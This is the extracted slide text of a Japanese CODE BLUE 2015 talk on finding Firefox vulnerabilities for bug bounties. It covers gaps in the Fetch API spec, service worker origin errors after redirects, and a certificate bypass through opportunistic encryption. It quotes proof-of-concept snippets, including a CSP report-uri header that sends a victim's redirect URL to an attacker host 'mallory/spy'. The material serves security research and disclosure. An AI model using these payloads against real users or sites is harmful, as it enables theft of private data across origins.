Firefoxの倒し方 CODE BLUE 2015 “Foxkeh" (C) 2006 Mozilla Japan
61,500ドル (約740万円)
Bug 1065909 Bug 1109276 Bug 1162018 Bug 1196740
Bug 1069762 Bug 1148328 Bug 1162411 Bug 1198078
Bug 1080987 Bug 1149094 Bug 1164397 Bug 1207556
Bug 1101158 Bug 1157216 Bug 1190038 Bug 1208520
Bug 1102204 Bug 1158715 Bug 1190139 Bug 1208956
Bug 1106713 Bug 1160069 Bug 1192595
私の1年間の実績
Firefoxの倒し方
本日のテーマ
• Firefoxには、共通する脆弱性のパターンがある
• 開発者にも周知されておらず、新しい機能が追加される度、同じような脆弱性が作り込まれている
“Foxkeh" (C) 2006 Mozilla Japan
Firefoxの倒し方
• パターンを覚えれば、効率的に脆弱性を発見できる
• CODE BLUEの参加費も報奨金で回収できる
“Foxkeh" (C) 2006 Mozilla Japan
本日のテーマ
• IETFやW3Cなどの標準化団体が仕様を策定
仕様書は誰でもダウンロードできる
• 仕様書には、機能の実装要件が記載されている
ブラウザにその機能を実装することで生じるセキュリティリスクや
その対処方法も記載されている
ブラウザの機能とその仕様
• 仕様に書かれている要件がたまに実装されていない
コミット時のレビューやテストが足りていない
• 仕様書に沿ってテストを書けば脆弱性を発見できる
120万円くらいはこの方法で獲得
Firefoxにおける仕様の実装漏れ
Fetch APIとは
• HTTPによる非同期通信を行うことのできるAPI
ざっくり言えば、XMLHttpRequestを改良したもの
HTTPリクエスト
fetch('http://example.jp/')
HTTPレスポンス
http://example.jp/
Fetch APIの使用例
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})
Fetch APIに課せられた仕様上の制限
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})
TRACEなどは指定禁止
HostやCookieなどは指定禁止
GETやHEADメソッドのときは指定禁止
Set-Cookieなどは指定禁止
Firefoxに存在した実装漏れ
fetch( 'http://api.example.jp/path', {
method: 'POST',
headers: {
'Content-Type' : 'text/plain'
},
body: 'Hello World'
}).then(function(res) {
console.log(res.headers.get( 'Content-Type' ));
})
任意のリクエストヘッダを指定できた
HTTPリダイレクトとは
same.tld other.tld
http://same.tld/
Location: http://other.tld/
http://other.tld/
ResponseHTTPリダイレクト
HTTPリダイレクトの落とし穴 (1/2)
same.tld other.tld
http://same.tld/
Location: http://other.tld/
http://other.tld/
ResponseHTTPリダイレクト
リクエストに指定されたオリジンと…
最終的に応答を返すオリジンは異なる場合がある
http://example.jp/
Service Workers (SW)とは
• ページのバックグラウンド処理を担うワーカー
ページで発生した通信を仲介し、キャッシュなどを制御
SWPage
Cache
Firefoxに存在したオリジン誤り
SWPage
(mallory)
Cache
mallory
mallory/resource mallory/resource
Redirection
facebookのレスポンスをmalloryのデータとしてキャッシュしてしまう
HTTPリダイレクトの落とし穴 (2/2)
• リダイレクト後のURLには機微な情報が含まれうる
リダイレクト先のサイトにログインしているユーザの名前など
• リダイレクト後のURLは他のオリジンから参照禁止
エラーメッセージなどにリダイレクト後のURLが含まれてはならない
CVE-2014-1487 by Masato Kinugawa
window.onerror = function( e ) { alert( e ); }
new Worker('redirect?to=https://www.facebook.com/profile.php');
他のサイトをワーカースクリプトとして読み込む
window.onerror = function( e ) { alert( e ); }
new Worker('redirect?to=https://www.facebook.com/profile.php');
CVE-2014-1487 by Masato Kinugawa
以下のページをユーザに開かせると
// HTTP Response Header
Content-Security-Policy-Report-Only "frame-src 'none';
report-uri http://mallory/spy;"
// Exploit HTML
<iframe src="https://www.facebook.com/profile.php">
以下のデータが攻撃者に送信される
// HTTP Response Header
Content-Security-Policy-Report-Only "frame-src 'none';
report-uri http://mallory/spy;"
// Exploit HTML
<iframe src="https://www.facebook.com/profile.php">
Firefoxのアーキテクチャ
Thanks to Makoto Kato (Mozilla Japan)
https://docs.google.com/presentation/d/17KvlHVH2JsioGuPKCuBDayjK6WSJoTLfzgpiMG1SKpY
ネットワーク通信モジュール
DOM操作および各APIの実装
日和見暗号(OE)
• http: の通信内容を暗号化
国家による大規模な盗聴(Pervasive Surveillance)の対策。
http/2の拡張仕様として議論中
• サーバ認証せずにTLSで暗号化
無効な証明書によるTLSでも平文で通信するよりは安全。
https: で接続する際は、従来どおりサーバ認証する
証明書検証回避のシーケンス
twitter(偽)
http://mallory
http://twitterでOE開始を要求
mallory
証明書検証なしでTLS接続(OE)
Session Ticket発行
https://twitter Session Ticketを使ってTLS接続要求
接続確立(セッション再開)
脆弱性発生のメカニズム
Page
DOM / Web APINetwork
(Necko)
http:とhttps:は異なるオリジン
OEとhttps:はTLSの実装を共有
http://twitterと https://twitter のSession Ticket は分ける必要がある
脆弱性のパターンを継続的に試す
• 新しく搭載された機能で過去の脆弱性が再発
Firefoxは6週間ごとにメジャーバージョンアップ。
過去の経緯を知らないコミッターが類似の脆弱性を作り込む
• 過去の脆弱性と新しい機能に関する情報を収集
過去の脆弱性をパターン化し、新しく搭載された機能で試験する
情報収集するには
• セキュリティアドバイザリ (過去の脆弱性情報)
https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox/
• Firefox 開発者向けリリースノート (新機能の情報)
https://developer.mozilla.org/en-US/Firefox/Releases
さらに情報収集するには
• Firefoxのコミットログ
http://hg.mozilla.org/mozilla-central/shortlog
• Bugzilla
https://bugzilla.mozilla.org/
Mozillaの脆弱性対応の特徴
• 対応が早い
深刻度が高ければ約1か月、低くても2~3か月で修正される
深刻な影響を及ぼす場合は緊急アップデートが配信される
• 透明性が高い
修正されるまでの過程をBugzillaで閲覧できる
深刻度を判断した根拠をきちんと説明してくれる
既知のバグの報告者には当該のバグのアクセス権が付与される